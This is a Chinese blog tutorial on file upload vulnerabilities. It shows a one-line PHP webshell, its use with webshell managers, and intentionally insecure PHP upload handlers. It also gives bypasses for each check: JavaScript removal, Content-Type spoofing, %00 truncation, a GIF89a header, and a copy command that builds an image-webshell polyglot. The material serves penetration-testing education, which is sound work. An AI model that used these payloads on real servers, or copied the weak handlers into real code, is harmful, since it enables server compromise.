文件上传漏洞

ma963852

已于 2022-03-08 11:08:33 修改

阅读量1.8w

点赞数 12

分类专栏：信息安全渗透测试文章标签： web安全

于 2022-02-28 15:29:48 首次发布

本文链接：https://blog.csdn.net/ma963852/article/details/123085437

版权

渗透测试同时被 2 个专栏收录

17 篇文章 3 订阅

订阅专栏

信息安全

12 篇文章 6 订阅

订阅专栏

漏洞原理

大部分的网站和应用系统都有上传功能，而程序员在开发文件上传功能时，并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。

这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本，例如(jsp、asp、php、aspx文件后缀)到服务器上，从而访问这些恶意脚本中包含的恶意代码，进行动态解析最终达到执行恶意代码的效果，进一步影响服务器安全。

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。一般都是指“上传Web脚本能够被服务器解析”的问题。

漏洞危害

可能会导致用户信息泄露，被钓鱼，甚至使攻击者可以直接上传WebShell到服务器，进而得到自己想要的信息和权限。最终达到对数据库执行、服务器文件管理、服务器命令执行等恶意操作，甚至完全控制服务器系统。

webshell：运行在web应用之上的远程控制程序。 webshell分为大马、小马等。功能简易的webshell称为小马，拥有较完整功能的webshell，称为大马。

一句话木马：

<?php @eval($_POST[a]); ?>

漏洞利用

文件上传漏洞利用条件：

（1）能够成功上传木马。

（2）上传的木马能够被web容器解析执行，所以上传路径要在web容器覆盖范围内。

（3）用户能够访问上传的木马，所以得知道上传的木马准确路径。

将一句话木马上传至服务器，并能成功访问。（页面空白访问成功）

通过hackbar对变量a进行传值，即可完成服务端命令执行。

还可以执行系统命令。

此外，还可以配合如菜刀，蚁剑等工具使用。

打开蚁剑，选择添加数据。

输入好参数后测试连接，然后添加。

文件上传绕过

了解了漏洞的利用方式，那么如何绕过检测向服务器上传木马文件。

客户端JavaScript检测

开发者在前端使用JavaScript做了白名单验证，如果文件名不符合规则那么就不允许被上传。

JavaScript代码：

<script type="text/javascript">
	function checkFile(){
		var flag=false;
		var str=document.getElementById("file").value;
		str = str.substring(str.lastIndexOf('.')+1);
		var arr=new Array('png','gif','jpg');
		for(var i=0;i<arr.length;i++){
			if(str==arr[i]){
				flag=true;
			}
		}
		if(!flag){
			alert('文件不合法');
		}
		return flag;
	}
</script>

提交表单：

<form action="low.php" method="post" onSubmit="return checkFile()" enctype="multipart/form-data">
		<input type="file" name="file" id="file" /><br/>
		<br/>
		<input type="submit" vlue="提交" name="submit">
	</form>

服务端PHP代码：

<?php
        if (isset($_POST['submit'])) {
                        $target_path = "../uploads/";
                        $target_path = $target_path . basename( $_FILES['file']['name']);
                        if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
                                echo'文件上传失败';
                } else {
                                echo"$target_path  文件上传成功";
                        }
                }
?>

绕过方式：

1.删除/禁用JavaScript代码。

2.先上传符合规则的文件，通过burp suite抓包修改其后缀名。

使用火狐插件禁用JavaScript代码

服务端MIME类型检测

MIME类型用来设定某种扩展名文件的打开方式，当具有该扩展名的文件被访问时，浏览器会自动使用指定的应用程序来打开。上传文件时可以通过服务端对上传文件的MIME类型进行判断。

服务端PHP代码：

<?php
        if (isset($_POST['submit'])) {
                        $target_path = "../uploads/";
                        $target_path = $target_path . basename($_FILES['file']['name']);
                        $uploaded_name = $_FILES['file']['name'];
                        $uploaded_type = $_FILES['file']['type'];
                        if ($uploaded_type == "image/jpeg"){
                                if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
                                     echo'文件上传失败';
                                } else {
                                         echo"$target_path  文件上传成功";
                                        }
                        }
                        else{
                                echo'文件上传失败';
                        }
                }
?>

绕过方式：

通过burp suite抓包修改Content-Type字段改为：Content-Type: image/jpeg

服务端白名单检测

服务端取文件后缀名进行白名单比对，如果文件名不符合规则那么就不允许被上传。

服务端白名单检测算是相对安全的检测方式，但也有被利用的可能。

服务端PHP代码：

<?php
if (isset($_POST['submit'])) {
                        $target_path = "../uploads/";
                        $target_path = $target_path . basename($_FILES['file']['name']);
                        $uploaded_name = $_FILES['file']['name'];
                        $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                        if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG")){
                                if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
                                        echo'文件上传失败';
                                } else {
                                        echo"$target_path  文件上传成功";
                                        }
                        } else {
                                echo'文件上传失败';
                        }
                }
?>

绕过方式：

首先将木马文件改为规则的后缀名，通过burp suite抓包，如果头文件中含有文件名以及存储路径。将路径改为xx.php后面跟%00，文件名不变。那么在存储路径和文件名拼接时%00及以后的信息将被丢弃。即符合白名单验证，文件又会被存储为xx.php。

（还可以配合服务器解析漏洞，以及文件包含漏洞形成漏洞链以达到攻击的目的。）

服务端文件头检测

文件头检测是在文件上传时取文件的前2个字节进行特征对比。

木马文件直接更改后缀名可以通过服务端白名单检测，但是无法绕过文件头检测。

服务端PHP代码：

<?php
header("Content-type: text/html; charset=utf-8");
function getReailFileType($filename){
    $file = fopen($filename, "rb");  //打开上传的这个文件
    $bin = fread($file, 2); //只读这个文件的前2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}
if (isset($_POST['submit'])) {
                        $target_path = "../uploads/";
                        $target_path = $target_path . basename($_FILES['file']['name']);
                        $uploaded_name = $_FILES['file']['name'];
                        $fileType = getReailFileType($_FILES['file']['tmp_name']);
                        $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                        if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG" ) & ($fileType == 'jpg' || $fileType == 'png' || $fileType == 'gif')){
                                if(!move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
                                        echo"文件上传失败";
                                } else {
                                        echo"$target_path  文件上传成功";
                                        }
                        }else{
                                echo"文件上传失败";
                        }
                }

?>

绕过方式：

添加文件头：GIF89a

制作图片马：图片名称xx.jpg，木马名称xx.php。copy xx.jpg/b + xx.php/a xx.jpg